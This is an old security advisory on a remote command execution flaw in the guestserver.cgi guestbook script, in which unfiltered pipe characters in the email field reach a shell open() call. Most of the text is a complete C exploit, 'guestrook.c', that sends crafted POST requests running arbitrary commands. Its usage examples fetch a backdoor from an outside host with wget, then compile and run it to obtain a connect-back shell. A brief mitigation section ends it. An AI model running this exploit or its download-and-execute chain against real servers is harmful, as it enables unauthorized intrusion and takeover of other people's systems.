COMMAND
guestserver.cgi
SYSTEMS AFFECTED
Lars Ellingsen's guestserver.cgi
PROBLEM
'fish stiqz' found following. Guestserver is a guestbook system
that enables you to have your own guestbook on your homepage,
without having all the scripts and data located on a completely
different server.
guestbook.cgi is vulnerable to a remote command execution bug.
This bug is caused by an incomplete filter of the email variable
from the http POST. The email variable is first filtered for HTML
tags then commas, semi-colons, and colons as seen below:
line 282:
$FORM{'email'} =~ s/\<[^\>]*\>//ig;
$FORM{'email'} =~ s/\<//g;
$FORM{'email'} =~ s/\>//g;
$FORM{'email'} =~ s/\"/_/g;
if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
$FORM{'email'} = undef;
}
line 360:
&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));
Also, the email must be in "normal" form as required below (and
above):
line 957:
if ($FORM{'email'} =~ /.*?\@.*?\..*?/) {
open (MAIL, "|$mailprogram $FORM{'email'}");
First, the vulnerable open call is not made unless the
guestserver.cgi is configured to mail the guest when he/she posts
to the guestbook.
The server must have these lines in the guestbook.config file:
<-guestbook.mailto_guest-> # Yes = 1, No = 0
1
Next, the email variable is unset if there is a colon in it, so
we cannot simply send ourselves an xterm since the display string
needs to contain a colon. (ie: "xterm -ut -display 127.0.0.1:0.0")
We must also keep the email variable in "normal" email form. So
how do we exploit this?
The | (pipe) character is not filtered! So we can construct an
email variable with commands delimited by |'s and the cgi will
happily execute these commands if it looks like a "normal" email
address. An example email variable that would execute "bleh" on
remote server (check error_log): "| bleh | bob@hax0r.com". This
would result in the execution of
/bin/sh -c <mail program> | bleh | bob@hax0r.com
on the remote server. If you look in apache's error_log you will
see the following entry:
sh: bleh: command not found
sh: bob@hax0r.com: command not found
An attacker can use this to his/her advantage to possibly get a
backdoor and run it on the server, thus gaining remote access to
the server running the cgi script.
The Code:
/*
* guestrook.c - fish stiqz <fish@analog.org> 11/18/2001.
*
* - rook:v: deprive of by deceit; "He swindled me out of my inheritance"
*
* Remote exploit for guestbook.cgi version 4.12 (below?).
* guestbook.cgi can be found at http://www.guestserver.com/
*
* exploits a traditional open call in a perl cgi script,
* open (MAIL, "|$mailprogram $FORM{'email'}");
* the address is filtered for semi-colons, colons, commas, and less-than
* and greater than signs, and must be in *@*.* form.
*
* The cgi must be configured to send mail to the guest.
* the line in guestbook.config must be:
* <-guestbook.mailto_guest-> # Yes = 1, No = 0
* 1
* This config looks to be pretty common.
*
* Because the host environment must already have a perl interpreter
* installed, using a perl backdoor would probably be the most portable
* way to exploit this. The example in the usage message presents another
* way to accomplish it, with the well known socdmini.c. The sleep
* call is necessary to ensure that the program has finished
* downloading before the vulnerable system attempts to compile it.
* It may also be necessary to execute each command individually.
* I'm sure there are a million other ways to exploit this, since you
* can specifiy a string of commands to execute. Use your imaginiation.
*
* Thats pretty much it. Have fun.
*
* shoutouts: nerile <-- 1337
* trey, kiam, sudo, kilmor, vertigo7, quanta,
* #code <-- rules (not ef/dal),
* analog.org, async.org
*
* #TelcoNinjas == #smurfkiddies.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#define HTTP_PORT 80
extern int errno;
/*
* function prototypes.
*/
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
void send_packet(int, char *, char *);
char *convert_command(char *);
void clear_screen(FILE *);
void usage(char *);
char *random_string(void);
/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n strdup.
*/
char *Strdup(char *str)
{
char *s;
if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting...\n");
exit(EXIT_FAILURE);
}
return s;
}
/*
* translates a host from its string representation (either in numbers
* and dots notation or hostname format) into its binary ip address
* and stores it in the in_addr struct passed in.
*
* return values: 0 on success, != 0 on failure.
*/
int get_ip(struct in_addr *iaddr, char *host)
{
struct hostent *hp;
#ifdef DEBUG
printf("entered get_ip with %s\n", host);
#endif
/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;
#ifdef DEBUG
printf("inet_aton failed\n");
printf("trying gethostbyname...\n");
#endif
/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}
return -1;
}
/*
* initiates a tcp connection to the specified host (either in
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
* to the host's tcp port.
*
* return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;
iaddr = Malloc(sizeof(struct in_addr));
/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;
#ifdef DEBUG
printf("attempting connect to %s\n", inet_ntoa(*iaddr));
#endif
saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);
/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}
/* everything succeeded, return the connected socket */
return sock;
}
/*
* generates a string of 6 random characters.
* - guestbook.cgi wont accept the same message twice (or so it seems),
* so we need to randomize it a bit.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7);
srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;
s[i] = 0x0;
return s;
}
/*
* send the request to the server.
* the remote_command needs to be coverted before sent here.
* semi-colon's are filtered out and will not work!
*/
void send_packet(int sock, char *conv_remote_command, char *target)
{
char *packet_buf;
char *payload_buf;
char *r_string;
char header_fmt[] =
"POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
"Connection: close\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: %s\n"
"Content-type: application/x-www-form-urlencoded\n"
"Content-length: %d\n\n%s";
char payload_fmt[] =
"name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
"&location=Germany&message=telconinjas+suck";
r_string = random_string();
/* create space for the payload and commands */
payload_buf = Malloc((sizeof(payload_fmt) + 1 +
strlen(conv_remote_command)) *
sizeof(char));
sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
free(r_string);
/* create space for the headers, payload, and commands */
packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
strlen(conv_remote_command)) * sizeof(char));
sprintf(packet_buf, header_fmt,
target, strlen(payload_buf), payload_buf);
#ifdef DEBUG
printf("\nSending data:\n%s\n", packet_buf);
#endif
if(write(sock, packet_buf, strlen(packet_buf)) == -1)
{
perror("write");
exit(EXIT_FAILURE);
}
close(sock);
return;
}
/*
* converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
* to "command1+arg1+arg2+%7C+command2+arg1+arg2"
*/
char *convert_command(char *input)
{
int i;
char *postfix;
char *command = Strdup(input);
char meta;
for(i = 0; command[i] != 0x0; i++)
{
if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-')
{
if(command[i] == ' ')
command[i] = '+';
else
{
meta = command[i];
postfix = Strdup(&(command[i]) + 1);
command = Realloc(command, (strlen(command) + 3) *
sizeof(char));
command[i] = 0x0;
sprintf(&command[i], "%%%.2X", meta);
strcat(command, postfix);
free(postfix);
}
}
}
return command;
}
/*
* clears the screen. lame.
*/
void clear_screen(FILE *fp)
{
fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b);
return;
}
/*
* prints usage and then exits.
*/
void usage(char *p)
{
clear_screen(stderr);
fprintf(stderr,
"\nguestbook.cgi exploit by fish stiqz <fish@analog.org>\n"
"discovered and exploited on 01/18/2001\n\n"
"usage: %s <target> \"command1 args | command2 args\"\n\n"
"* commands MUST be separated by |'s\n"
"* commands CANNOT contain any of these chars: ;:,<>\n"
"* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n"
" |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n"
"* you may want to separate the commands into one per request..\n"
"* Example: %s target.com \"wget host.com/connect-back.pl"
" -P /tmp\"\n"
" %s target.com \"perl /tmp/connect-back.pl\"\n"
"* you get the idea, use your imagination.\n\n",
p, p, p, p);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
char *target;
char *commands;
char *conv_commands;
int sock;
if(argc != 3)
usage(argv[0]);
target = Strdup(argv[1]);
commands = Strdup(argv[2]);
conv_commands = convert_command(commands);
free(commands);
#ifdef DEBUG
printf("\nconv_commands:\n%s\n", conv_commands);
#endif
printf("Connecting to %s...\n", target);
if((sock = tcp_connect(target, HTTP_PORT)) == -1)
{
perror("tcp_connect");
return EXIT_FAILURE;
}
printf("Connected, sending payload...\n");
send_packet(sock, conv_commands, target);
printf("Payload sent. Go store lots of warez!#*!%%@!#\n"
"#TelcoNinjas == #smurfkiddies\n");
free(conv_commands);
free(target);
return EXIT_SUCCESS;
}
SOLUTION
Disallow emailing the guest (Quick and Dirty) by setting the
<-guestbook.mailto_guest-> directive to 0 in guestbook.config.
Better solution is completely filter all control characters from
the email variable before the open call.